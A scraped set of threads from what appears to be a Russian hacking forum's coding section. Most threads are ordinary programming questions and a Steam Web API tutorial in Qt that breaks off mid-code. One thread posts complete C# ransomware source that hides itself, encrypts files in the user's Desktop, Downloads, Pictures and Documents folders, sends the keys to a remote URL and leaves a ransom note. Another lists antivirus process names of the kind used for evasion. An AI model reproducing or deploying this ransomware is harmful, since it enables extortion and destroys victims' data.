min 186ae, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186a5, max 19b49
min 186a5, max 19b49
...
И собственно вопрос, видел ли кто в интернетах подобную по сути статистику с привязкой к осям, процам и виртуалкам?...или это вообще путь в никуда?
Я понимаю что статсу нужно собирать на протяжении суток, с равным ритмом нагрузок и выкладывать с привязкой по загрузке проца, но здесь не за цифры а за концепт.
И да я в курсе что мин макс нужны не только глобальные но и для каждого отдельного прохода, повторюсь что здесь не про цифры.

Сложение двух динамических массивов
ID: 6765d804b4103b69df375af0
Thread ID: 25902
Created: 2015-06-01T11:19:13+0000
Last Post: 2019-08-04T01:49:09+0000
Author: pic4a
Replies: 2 Views: 3K

Имеем два массива, один из которых динамический. К этому динамическому массиву нужно дописать второй. Вот собственно реализация.
Флаги нужны для того, чтобы убрать ненужные нулевые байты (концы строк) и соответственно, сменить количество скопированных байт.
Функция также НЕ выделяет дополнительный объем памяти на всякий случай. Тоесть ровно столько, сколько нужно.

Code:Copy to clipboard

#define DATA_TYPE_BINARY 0
#define DATA_TYPE_WIDECHAR 2
#define DATA_TYPE_CHAR 3
LPVOID memcnc(LPVOID dest, LPCVOID data, LPDWORD destSize, const DWORD dataSize, int dataType)
{
	LPVOID tmp = NULL;
	HANDLE hHeap = GetProcessHeap();
	DWORD resultSize = *destSize + dataSize;
	char* dest_char = (char*)dest;
	if (destSize && dest)
	{
  
  if (hHeap == INVALID_HANDLE_VALUE)
  	return NULL;

  tmp = HeapAlloc(hHeap, HEAP_NO_SERIALIZE, *destSize);
  if (!tmp)
  	return NULL;

  memcpy(tmp, dest, *destSize);
  if (!HeapFree(hHeap, HEAP_NO_SERIALIZE, dest))
  {
  	HeapFree(hHeap, HEAP_NO_SERIALIZE, tmp);
  	return NULL;
  }

  
  dest = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, resultSize);
  if (!dest)
  {
  	HeapFree(hHeap, HEAP_NO_SERIALIZE, tmp);
  	return NULL;
  }

  memcpy(dest, tmp, *destSize);
  dest_char = (char*)dest +(*destSize);

  switch (dataType)
  {
  case DATA_TYPE_CHAR:
  	resultSize -= sizeof(char)*2;
  	dest_char -= sizeof(char);
  	break;
  case DATA_TYPE_WIDECHAR:
  	resultSize -= sizeof(wchar_t)*2;
  	dest_char -= sizeof(wchar_t);
  	break;
  }
  memcpy(dest_char, data, dataSize);
  *destSize = resultSize;
  return dest;
	}
	else
	{
  dest = HeapAlloc(hHeap, HEAP_NO_SERIALIZE, dataSize);
  if (!dest)
  	return NULL;
  memcpy(dest, data, dataSize);
  *destSize = dataSize;

  return dest;
	}
}
лодер на яве
ID: 6765d804b4103b69df375af1
Thread ID: 29955
Created: 2019-06-24T12:53:53+0000
Last Post: 2019-08-04T01:43:59+0000
Author: kr3ker
Replies: 3 Views: 3K

кто что слышал про лодер на яве зависимый от node.js ну или в конце концов кто на это способен?

Create Locky Ransomware
ID: 6765d804b4103b69df375af9
Thread ID: 30314
Created: 2019-07-09T20:53:07+0000
Last Post: 2019-07-10T10:03:36+0000
Author: DreamLords
Replies: 4 Views: 3K

Добрый вечер.
Делюсь кодом ransomware на С (для исследования)
Думаю лишним не будет :smile47:

Code:Copy to clipboard

/*
*
*
* Algorithm from HT, with C Sources
* Encrypt with AES256
*
* DreamLords)
*
*/

using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;

namespace mafiaware {
    public partial class Form1 : Form {
    //Web untuk Password Unlock nya
    string webPass = "https://yourweb.com/cyberking/w00t.php?g0ttrap=";
    string namaUser = Environment.UserName;
    string namaKompi = System.Environment.MachineName.ToString();
    string dirUsr = "C:\\Users\\"; //folder User
    // bisa di coba ke folder system32
    //string dirSystm = "C:\\Windows\\"; <-- folder Windows di targetkan ke system32 di ubah/tambah bagian fungsi ngencrypt nya
    
    public Form1() {
        InitializeComponent();
    }
    private void Form1_Load(object sender, EventArgs e) {
        Opacity = 0;
        this.ShowInTaskbar = false;
        ngeEnrypt(); //mulai ngencrypt nya pas loading
        ngeEnrypt2();
        ngeEnrypt3();
        ngeEnrypt4();
    }
    private void Form_Shown(object sender, EventArgs e) {
        Visible = false;
        Opacity = 100;
    }
    
    //Algo encrypt AES256
    public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
        byte[] encryptedBytes = null;
        byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
        using (MemoryStream ms = new MemoryStream()) {
        using (RijndaelManaged AES = new RijndaelManaged()) {
        AES.KeySize = 256;
        AES.BlockSize = 128;
        var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
        AES.Key = key.GetBytes(AES.KeySize / 8);
        AES.IV = key.GetBytes(AES.BlockSize / 8);
        AES.Mode = CipherMode.CBC;
        using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
            cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
            cs.Close();
            }
        encryptedBytes = ms.ToArray();
        }
        }
    return encryptedBytes;
    }
    
    //buat randompass encrypt
    public string BuatPass(int length) {
    const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
    StringBuilder res = new StringBuilder();
    Random rnd = new Random();
    while (0 < length--){
        res.Append(valid[rnd.Next(valid.Length)]);
    }
    return res.ToString();
    }
    
    //ngirim pass hasil trap ke web
    public void ngirimPass(string password){
        string g0ttrap = namaKompi + "-" + namaUser + " " + password;
        var fullUrl = webPass + g0ttrap;
        var conent = new System.Net.WebClient().DownloadString(fullUrl);
        }
    
    //ngencrypt file
    public void ngencryptFile(string file, string password) {
        byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
        byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
        
        //ngehash pass dg sha256
        passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
        byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
        File.WriteAllBytes(file, bytesEncrypted);
        System.IO.File.Move(file, file+".Locked-Mafiaware"); //ekstensi hasil ngencrypt
        }
    
    //ngencrypt folder
    public void ngencryptFolder(string location, string password) {
            //ekstensi yang mau di encrypt
            var validExtensions = new[] {
            ".txt", ".doc", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb",  ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".zip", ".rar"
            };

        string[] files = Directory.GetFiles(location);
        string[] childDirectories = Directory.GetDirectories(location);
        for (int i = 0; i < files.Length; i++){
            string extension = Path.GetExtension(files[i]);
            if (validExtensions.Contains(extension))
            {
            ngencryptFile(files[i],password);
            }
            }
        for (int i = 0; i < childDirectories.Length; i++){
            ngencryptFolder(childDirectories[i],password);
            }
        }
    public void ngeEnrypt() {
    string password = BuatPass(15);
    string path = "\\Desktop";
    string startPath = dirUsr + namaUser + path;
    ngirimPass(password);
    ngencryptFolder(startPath,password);
    pesanReadMe();
    password = null;
    System.Windows.Forms.Application.Exit();
    }
    public void ngeEnrypt2() {
    string password = BuatPass(15);
    string path = "\\Downloads";
    string startPath = dirUsr + namaUser + path;
    ngirimPass(password);
    ngencryptFolder(startPath,password);
    password = null;
    System.Windows.Forms.Application.Exit();
    }
    public void ngeEnrypt3() {
    string password = BuatPass(15);
    string path = "\\Pictures";
    string startPath = dirUsr + namaUser + path;
    ngirimPass(password);
    ngencryptFolder(startPath,password);
    password = null;
    System.Windows.Forms.Application.Exit();
    }
    
    //ngencrypt 4 bagian document, jika ada folder music / shortcut music, itu ga bakal kena, perbedaan auth :p akalin sendiri utk lebih jelas
    public void ngeEnrypt4() {
    string password = BuatPass(15);
    string path = "\\Documents";
    string startPath = dirUsr + namaUser + path;
    ngirimPass(password);
    ngencryptFolder(startPath,password);
    password = null;
    System.Windows.Forms.Application.Exit();
    }
    //Pesanini diletakkan di folder desktop ( bisa di ubah atau di tambah lokasi nya, edit di bagian fungsi ngencrypt )
    public void pesanReadMe() {
        string path = "\\Desktop\\READ_ME.txt";
        string fullpath = dirUsr + namaUser + path;
        string[] lines = { "Cyberking was Encrypt your File with MafiaWare", "Email me and meet me", "my email cyberking@indonesianbacktrack.or.id" };
        System.IO.File.WriteAllLines(fullpath, lines);
        }
    }
}

технология конечно уже старая, но все имеет право присуствовать.( я художник, я так вижу)

помогите, c# кодеры.
ID: 6765d804b4103b69df375afb
Thread ID: 29010
Created: 2019-04-27T07:12:44+0000
Last Post: 2019-07-02T07:24:27+0000
Author: gifci
Replies: 5 Views: 3K

В общем, я не очень хорошо разбираюсь в c#. Почему после компиляции появляется папка, весом 300мб? И только из этой папки работает мой exe. Каким образом можно уменьшить вес? Или я не там файл беру? Буду признателен за помощь, не кидайтесь камнями

Java
ID: 6765d804b4103b69df375aff
Thread ID: 29715
Created: 2019-06-08T23:23:07+0000
Last Post: 2019-06-09T22:48:10+0000
Author: HardwareID
Replies: 1 Views: 3K

Кто подскажет как создать картинку с текстом на чистой джаве?
И как сделать перекрытие окна на андроид

Аналог SetFilePointerEx в Nt\Zw
ID: 6765d804b4103b69df375ad3
Thread ID: 32492
Created: 2019-10-14T16:55:25+0000
Last Post: 2019-10-16T08:46:12+0000
Author: MegadethProj
Replies: 23 Views: 3K

Есть такие? или как это можно сделать средствами чистого Nt\Zw?

del
ID: 6765d804b4103b69df375b09
Thread ID: 28397
Created: 2019-03-24T18:24:07+0000
Last Post: 2019-03-26T15:49:54+0000
Author: iceberg
Replies: 4 Views: 3K

del

Помогите разобраться с синтаксисом сокетов
ID: 6765d804b4103b69df375ba0
Thread ID: 10109
Created: 2006-01-02T22:45:26+0000
Last Post: 2006-01-03T13:43:31+0000
Author: ERma
Replies: 6 Views: 3K

#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#define PORT 80

struct sockaddr_in hrm;//??????????????????????

int conn(){
int s;
s = socket(AF_INET, SOCK_STREAM, 0);//Создание сокета по протоколу TCP
if((connect(s,(struct sockaddr*)&hrm/???????????/,sizeof(struct sockaddr)/???????????/))<0);

}

помогите!!!!!! объясните пожалуйста что значат выделенные функции

Работа с мбр на асме
ID: 6765d804b4103b69df375b15
Thread ID: 27540
Created: 2019-01-29T14:19:08+0000
Last Post: 2019-01-31T21:15:38+0000
Author: codedivision
Replies: 11 Views: 3K

Здравствуйте.
Планирую работать с мбр на асме (чтение и запись).

Правильно понимаю, что код для мбр нужно конвертировать в нех или хор и грузить через полезную нагрузку?
Если через полезную нагрузку, то как именно?

Cписок АВ
ID: 6765d804b4103b69df375b16
Thread ID: 26346
Created: 2018-10-22T09:18:01+0000
Last Post: 2019-01-24T04:56:08+0000
Author: rtkm
Replies: 4 Views: 3K

Cписок АВ:
360 Total Security Essential --- QHACTIVEDEFENSE.EXE,QHWATCHDOG.EXE,QHSAFETRAY.EXE
AVG Internet Security --- AVGSVC.EXE,AVGUI.EXE
AhnLab V3 Light --- V3LITE.EXE,V3MAIN.EXE,V3SP.EXE
Avast Internet Security --- AVASTUI.EXE,AVASTSVC.EXE
Avira Internet Security --- AVGUARD.EXE,AVSHADOW.EXE,AVGNT.EXE,AVIRA.SERVICEHOST.EXE,AVIRA.SYSTRAY.EXE
BitDefender Total Security --- BDAGENT.EXE,BDREDLINE.EXE,BDSS.EXE
BullGuard Internet Security --- BULLGUARDBHVSCANNER.EXE,BULLGUARDSCANNER.EXE,BULLGUARDTRAY.EXE,BULLGUARDUPDATE.EXE,BULLGUARD.EXE
Comodo Internet Security --- CMDAGENT.EXE,CISTRAY.EXE,CIS.EXE
DrWeb Total Security --- SPIDERAGENT.EXE,DWENGINE.EXE,DWARKDAEMON.EXE,DWNETFILTER.EXE
Emsisoft Internet Security --- A2SERVICE.EXE,A2GUARD.EXE,A2START.EXE
Eset Smart Security --- EGUI.EXE,EKRN.EXE
F-Secure Internet Security --- FSHOSTER32.EXE,FSHOSTER64.EXE
Fortinet Smart Security --- FORTISSLVPNDAEMON.EXE,FORTIESNAC.EXE,FORTIWF.EXE,FORTITRAY.EXE,FCHELPER64.EXE,FORTIPROXY.EXE,FCAPPDB.EXE,FCDBLOG.EXE
Kaspersky Internet Security --- AVP.EXE,AVPUI.EXE
Malwarebytes Anti-Malware --- MBAMSERVICE.EXE,MBAMTRAY.EXE
McAfee Endpoint Protection --- MCSACORE.EXE,MCAPEXE.EXE,MCSHIELD.EXE,MCSVHOST.EXE
Norton Security Deluxe --- NORTONSECURITY.EXE
Panda Internet Security --- PSUASERVICE.EXE,PSUAMAIN.EXE,PSANHOST.EXE,
Sophos Anti-Virus --- SDRSERVICE.EXE,SWC_SERVICE.EXE,SWI_SERVICE.EXE,SSP.EXE
Symantec Endpoint Security 12 --- CCSVCHST.EXE,SMCGUI.EXE
Symantec Endpoint Security 14 --- CCSVCHST.EXE,SMCGUI.EXE
Trend Micro Internet Security --- CORESERVICESHELL.EXE,COREFRAMEWORKHOST.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE

Это список актуальных процессов топ АВ.

программно узнать название фирмы HDD
ID: 6765d804b4103b69df375b1a
Thread ID: 24453
Created: 2013-07-25T10:45:56+0000
Last Post: 2019-01-13T21:38:02+0000
Author: at0m
Replies: 7 Views: 3K

Доброго времени суток понадобилось собрать всю инфу о машине вот собственно вопрос как узнать модель HDD и объем (общий) или может кто знает где в реестре инфу можно считать ???
Заранее спасибо.

Использование стенографии в кодинге
ID: 6765d804b4103b69df375b1b
Thread ID: 27149
Created: 2019-01-05T11:18:39+0000
Last Post: 2019-01-11T13:33:27+0000
Author: codedivision
Replies: 14 Views: 3K

Возможно на асме устроить софт со скрытой подгрузкой изображения, модуля и расшифровки стенографии в изображении с помощью этого модуля? В последующем поместить в изображение информацию и отправить дальше.
Если возможно, то каким образом (хотя бы в теории)?

Не хочу сливать детали в паблик, но нужен совет специалистов или тех, кто работает в этом направлении.

Помогите по С++
ID: 6765d804b4103b69df375b1f
Thread ID: 26703
Created: 2018-12-01T15:16:34+0000
Last Post: 2018-12-29T00:44:57+0000
Author: Lamer173
Replies: 7 Views: 3K

Всем привет. Пишу автокликер, который должен распознавать кнопку на сайте и кликать по ней
Есть ли готовые темплейты для взаимодействия программы на C++ с HTML сайтом, а конкретно с управлением определенной кнопкой по ее ID? Я новичек в С++ прост, а так базовые знания в других языках есть
Заранее спасибо)

Assembler + WinAPI
ID: 6765d804b4103b69df375b23
Thread ID: 26927
Created: 2018-12-17T17:40:21+0000
Last Post: 2018-12-21T15:24:43+0000
Author: codedivision
Replies: 13 Views: 3K

Здравствуйте.
Нужно небольшое разъяснение по Assembler + WinAPI.

Как лучше использовать сторонние функции, через import и extern или только extern?

Пример:

1. import и extern - macro_import_function kernel32.dll, _ExitProcess
2. extern - extern _ExitProcess@4
И вызов функции - call _ExitProcess@4.

Сейчас я использую второй вариант и импортирую данные из dll при линковке, так как не хочу работать с макросами. Но я не понимаю, для чего нужен @4 (в данном случае) и откуда это взять? Без @4 линковка с ошибками, что нет defined.
Я думал, что это данные из dll, но об этом ничего не указано.

Пример кода.

extern _CreateWindowExA@48
extern _DefWindowProcA@16
extern _DispatchMessageA@4
extern _ExitProcess@4
extern _GetMessageA@16
extern _GetModuleHandleA@4
extern _IsDialogMessageA@8
extern _LoadImageA@24
extern _PostQuitMessage@4
extern _RegisterClassExA@4
extern _ShowWindow@8
extern _TranslateMessage@4
extern _UpdateWindow@4

Как работать с defined?

Нужно ли на Assembler дополнительно объявлять функции как это происходит у других языков программирования?

Пример для C++.

int WINAPI MessageBox(
In_opt HWND hWnd,
In_opt LPCTSTR lpText,
In_opt LPCTSTR lpCaption,
In UINT uType
);

[СОФТ] Урок. Работа со Steam WEB Api на C++ Qt
ID: 6765d804b4103b69df375b24
Thread ID: 26907
Created: 2018-12-16T17:34:15+0000
Last Post: 2018-12-18T09:01:57+0000
Author: DSTR!
Prefix: Статья
Replies: 6 Views: 3K

Копирайт © DSTR!

Доброго времени суток!
Хотел бы немного рассказать (и показать) о взаимодействии со Steam WEB Api средствами Qt и C++.
Пишите, если хотите продолжение: статью о работе с инвентарем Steam: получение цены предметов и т.п

Версия, которую мы получим в конце этого урока отлично подходит для повседневного использования тем пользователям, кому часто необходимо узнать оригинальный SteamID64 и дату регистрации.

Ниже пример окончательной программы: _4T8ZV_0rDc.jpg

Исходный код, а также скомпилированный проект доступен по ссылке: https://goo.gl/TCivNm
ВЕРСИИ:
— SteamUserInfoFull — скомпилированная полная версия этой программы (как на скриншоте выше).
— SteamUserInfoLite — скомпилированная версия из статьи.
— SteamUserInfoSource — исходный код из статьи.

В этой статье описана самая малая часть, так как всего очень много и за один раз всё не покажешь.
Мы не будем рассматривать то, как устроен формат ответа Json-файла от Steam.
Всё это можете посмотреть самостоятельно, вставив запрос в браузер.

Я использую компилятор MinGW32.
У вас должна быть поддержка SSL (если нет - скачайте эти два файла и добавьте в папку с компилируемым проектом): https://yadi.sk/d/lZZrpzoH3afXY8

Итак, мы рассмотрим:
— получение оригинальной ссылки на профиль (SteamID64);
— получение аватарки профиля;
— получение даты регистрации аккаунта;
— получение даты последней активности;
— получение статуса VAC, количество игровых блокировок, дней с момента последней блокировки и статус профиля в сообществе Steam (в простонародье — КТ).

Приступим.
1)
Для начала работы нам понадобится наш уникальный API ключ для доступа к сервисам Steam.
Чтобы его получить нужен БЕЗЛИМИТНЫЙ аккаунт Steam.
Переходим по ссылке https://steamcommunity.com/dev/apikey и вводим рандомный адрес (к примеру, qwertyabc@abcd.com), нажимаем на кнопочку регистрации и сохраняем наш ключ.

Теперь запускаем Qt, создаем проект Qt Widgets Application -> указываем название как у меня, чтобы не было разногласий: SteamUserInfo и дальше указываете свой путь.
Проект создался.
В файле SteamUserInfo.pro прописываете: QT += network (скрин)

60uIWHzROXY.jpg
3)
Теперь создаем первый класс. Кликаем на название проекта -> Add new... -> слева выбираем C++, а справа C++ Class.
Назовем его SteamUserProfileLink
V5xTSo5pls4.jpg
4)
Реализуем наш класс.
В файле SteamUserProfileLink.h создаем переменные и прототипы функций:

C++:Copy to clipboard

#include <QtNetwork/QtNetwork>
#include <QString>

class SteamUserProfileLink
{
    QString apiKey;
    QString steamID64;
public:
    SteamUserProfileLink();

    void setApiKey(QString key);

    bool setConnection(const QString &steamUrl);

    QString getSteamID64() const;
};

Реализуем эти функции.

Файл SteamUserProfileLink.cpp:

C++:Copy to clipboard

#include "SteamUserProfileLink.h"

SteamUserProfileLink::SteamUserProfileLink() { }

void SteamUserProfileLink::setApiKey(QString key)
{
    apiKey = key;
}

//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamUserProfileLink::setConnection(const QString &steamUrl)
{
    QNetworkAccessManager manager;
    QNetworkReply &reply = *manager.get(
    //Отправляем запрос.
    QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key=%1&vanityurl=%2").arg(apiKey).arg(steamUrl)));

    QEventLoop loop;  //Ждем ответ от сервера.
    QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
    loop.exec();

    const QJsonDocument document = QJsonDocument::fromJson(reply.readAll()); //Загружаем Json документ.
     //Если ответ равен 1, значит SteamID64 успешно получен.
    if (document.object().value("response").toObject().value("success").toDouble() == 1.0) {
        steamID64 = document.object().value("response").toObject().value("steamid").toString(); //Запоминаем.
        return true; //Возвращаем true: успешно.
    }
    //Иначе считаем, что такого steamUrl не существует и возвращаем false.
    return false;
}

QString SteamUserProfileLink::getSteamID64() const
{
    return steamID64;
}

Теперь по той же схеме создаем следующий класс SteamPlayerSummaries

Файл SteamPlayerSummaries.h:

C++:Copy to clipboard

#include <QtNetwork/QtNetwork>
#include <QString>
#include <QPixmap>

class SteamPlayerSummaries
{
    QString apiKey;
    uint timeCreated;//Дата создания аккаунта в формате UTC.
    uint lastLogOff; //Дата последней активности в формате UTC.
    QPixmap avatar;  //Аватарка профиля.
    void loadAvatar(const QString &avatarUrl);
public:
    SteamPlayerSummaries();

    void setApiKey(QString key);

    bool setConnection(const QString &steamID64);

    QString getLastLofOff() const;  //Дата последней активности в формате дата-месяц-год.
    QString getTimeCreated() const; //Дата создания профиля в формате дата-месяц-год.
    QPixmap getAvatar() const;
};

Файл SteamPlayerSummaries.cpp:

C++:Copy to clipboard

#include "SteamPlayerSummaries.h"

SteamPlayerSummaries::SteamPlayerSummaries() { }
void SteamPlayerSummaries::setApiKey(QString key)
{
    apiKey = key;
}

//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamPlayerSummaries::setConnection(const QString &steamID64)
{
    QNetworkAccessManager manager;
    QNetworkReply &reply = *manager.get(
                //Отправляем запрос.
                QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%1&steamids=%2").arg(apiKey).arg(steamID64)));

    QEventLoop loop;  //Ждем ответ от сервера.
    QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
    loop.exec();
    const QJsonDocument document = QJsonDocument::fromJson(reply.readAll());

    if (document.isEmpty()) //ApiKey неправильный.
        return false;
                                                                 //Конвертируем массив в object для обращения к элементам по имени, а не индексах.
    const QJsonObject object = document.object().value("response").toObject().value("players").toArray()[0].toObject();
    if (object.isEmpty()) //SteamID не найден.
        return false;

    loadAvatar(object["avatarfull"].toString()); //Загружаем аватарку.

    timeCreated = static_cast<unsigned int>(object["timecreated"].toInt()); //Получаем дату регистрации аккаунта.

    lastLogOff = static_cast<unsigned int>(object["lastlogoff"].toInt()); //Последняя активность.

    return true; //Возвращаем true: успешно загружено.
}

void SteamPlayerSummaries::loadAvatar(const QString &avatarUrl) //Загрузка аватарки.
{
    QNetworkAccessManager manager;
    QNetworkReply &reply = *manager.get(QNetworkRequest(avatarUrl));
    QEventLoop loop;  //Ждем ответ от сервера.
    QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
    loop.exec();
    const QByteArray header = reply.readAll();
    avatar.loadFromData(header,"jpg");
}

QString SteamPlayerSummaries::getLastLofOff() const
{
    //Конвертируем UTC в обычное представление времени.
    static const QString c = QDateTime::fromTime_t(lastLogOff).toString("dd-MM-yyyy");
    return c;
}

QString SteamPlayerSummaries::getTimeCreated() const
{
    //Конвертируем UTC в обычное представление времени.
    static const QString c = QDateTime::fromTime_t(timeCreated).toString("dd-MM-yyyy");
    return c;
}

QPixmap SteamPlayerSummaries::getAvatar() const
{
    return avatar;
}

Теперь создадим файлик для получения информации о блокировках аккаунта.
Создадим класс SteamPlayerBans:

Файл SteamPlayerBans.h:

C++:Copy to clipboard

#include <QtNetwork/QtNetwork>

class SteamPlayerBans
{
    QString apiKey;
    bool communityBanned; //Блокировка в сообществе (КТ).
    bool VACBanned;       //Блокировка VAC.
    QString economyBanned;//Блокировка обмена.
    int  numberOfGameBans;//Количество игровых блокировок.
    int  numberOfVACBans; //Количество VAC блокировок.
    int  daysSinceLastBan;//Дней с момента последней блокировки.
public:
    SteamPlayerBans();

    void setApiKey(QString key);

    bool setConnection(const QString &steamID64);

    bool isCommunityBanned() const;
    bool isVACBanned() const;
    QString getEconomyBan() const;
    int  getNumberOfGameBans() const;
    int  getNumberOfVACBans() const;
    int  getDaysSinceLastBan() const;
};

Реализация SteamPlayerBans.cpp

C++:Copy to clipboard

#include "SteamPlayerBans.h"

SteamPlayerBans::SteamPlayerBans() { }

void SteamPlayerBans::setApiKey(QString key)
{
    apiKey = key;
}

//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamPlayerBans::setConnection(const QString &steamID64)
{
    QNetworkAccessManager manager;
    QNetworkReply &reply = *manager.get(
                //Отправляем запрос.
                QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/GetPlayerBans/v1/?key=%1&steamids=%2&format=json").arg(apiKey).arg(steamID64)));

    QEventLoop loop;  //Ждем ответ от сервера.
    QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
    loop.exec();
    QJsonDocument document = QJsonDocument::fromJson(reply.readAll());

    if (document.isEmpty()) //ApiKey неправильный.
        return false;

    const QJsonObject object = document.object().value("players")[0].toObject();

    if (object.isEmpty()) //SteamID не найден.
        return false;

    communityBanned = object["CommunityBanned"].toBool();
    VACBanned = object["VACBanned"].toBool();
    economyBanned = object["EconomyBan"].toBool();
    numberOfGameBans = object["NumberOfGameBans"].toInt();
    numberOfVACBans = object["NumberOfVACBans"].toInt();
    daysSinceLastBan = object["DaysSinceLastBan"].toInt();
    return true;
}

bool SteamPlayerBans::isCommunityBanned() const
{
    return communityBanned;
}

bool SteamPlayerBans::isVACBanned() const
{
    return VACBanned;
}

QString SteamPlayerBans::getEconomyBan() const
{
    return economyBanned;
}

int SteamPlayerBans::getNumberOfGameBans() const
{
    return numberOfGameBans;
}

int SteamPlayerBans::getNumberOfVACBans() const
{
    return numberOfVACBans;
}

int SteamPlayerBans::getDaysSinceLastBan() const
{
    return daysSinceLastBan;
}

Теперь осталось самое простое — создать графический интерфейс для взаимодействия.

Файл MainWindow.h

C++:Copy to clipboard

#include <QMainWindow>
#include <QLineEdit>
#include <QWidget>
#include <QPushButton>
#include <QLabel>
#include <QLayout>
#include <QGroupBox>
#include <QMessageBox>

#include "SteamUserProfileLink.h"
#include "SteamPlayerSummaries.h"
#include "SteamPlayerBans.h"

namespace Ui {
class MainWindow;
}

class MainWindow : public QMainWindow
{
    Q_OBJECT

public:
    explicit MainWindow(QWidget *parent = nullptr);
    ~MainWindow();

    //Функция обработки.
    void setup();

    //Парс ссылки: получаем только url: steamcommunity.com/id/abcd   ->  abcd
    QString getUrl(QString steamProfileUrl);
private:
    Ui::MainWindow *ui;
};

Файл MainWindow.cpp:

C++:Copy to clipboard

#include "MainWindow.h"
#include "ui_MainWindow.h"

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);

    QFont font;
    setWindowTitle("SteamUserInfo");
    font.setPointSize(10);
    setFont(font);

    QPalette palette;
    palette.setBrush(QPalette::Background, QColor(0xFCE7FC));
    setPalette(palette);

    setFixedSize(500, 600);
    setup();
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::setup()
{
    QWidget *mainWidget = new QWidget(this);
    QVBoxLayout *mainLayout = new QVBoxLayout(mainWidget);
    mainLayout->setSizeConstraint(QLayout::SetFixedSize);

    QGroupBox *boxSettings = new QGroupBox("Конфигурация:");
    QGridLayout *boxLayout = new QGridLayout(boxSettings);

    boxLayout->addWidget(new QLabel("Вставьте ApiKey:"), 0, 0);

    QLineEdit *lineApiKey = new QLineEdit();
    boxLayout->addWidget(lineApiKey, 0, 1);

    boxLayout->addWidget(new QLabel("Вставьте ссылку на аккаунт:"), 1, 0);

    QLineEdit *lineSteamProfileLink = new QLineEdit();
    boxLayout->addWidget(lineSteamProfileLink, 1, 1);

    QPushButton *btnFind = new QPushButton("Найти профиль");
    boxLayout->addWidget(btnFind);

    mainLayout->addWidget(boxSettings);

    QGroupBox *boxAccountInfo = new QGroupBox("Информация про аккаунт");
    QGridLayout *layoutAccount = new QGridLayout(boxAccountInfo);

    layoutAccount->addWidget(new QLabel("Аватарка:"), 0, 0);

    QLabel *lblAvatar = new QLabel();
    lblAvatar->setFixedSize(184, 184);
    layoutAccount->addWidget(lblAvatar, 0, 1);

    layoutAccount->addWidget(new QLabel("Оригинальная ссылка (SteamID64):"), 1, 0);

    QLineEdit *lineOriginalSteamLink = new QLineEdit();
    lineOriginalSteamLink->setReadOnly(true);
    layoutAccount->addWidget(lineOriginalSteamLink, 1, 1);

    layoutAccount->addWidget(new QLabel("Дата регистрации:"), 2, 0);

    QLineEdit *lineTimeCreated = new QLineEdit();
    lineTimeCreated->setReadOnly(true);
    layoutAccount->addWidget(lineTimeCreated, 2, 1);

    layoutAccount->addWidget(new QLabel("Последняя активность:"), 3, 0);

    QLineEdit *lineLastLogOff = new QLineEdit();
    lineLastLogOff->setReadOnly(true);
    layoutAccount->addWidget(lineLastLogOff, 3, 1);

    layoutAccount->addWidget(new QLabel("VAC блокировка:"), 4, 0);

    QLineEdit *lineVacBanned = new QLineEdit();
    lineVacBanned->setReadOnly(true);
    layoutAccount->addWidget(lineVacBanned, 4, 1);

    layoutAccount->addWidget(new QLabel("Кол-во игровых блокировок:"), 5, 0);

    QLineEdit *lineGamebans = new QLineEdit();
    lineGamebans->setReadOnly(true);
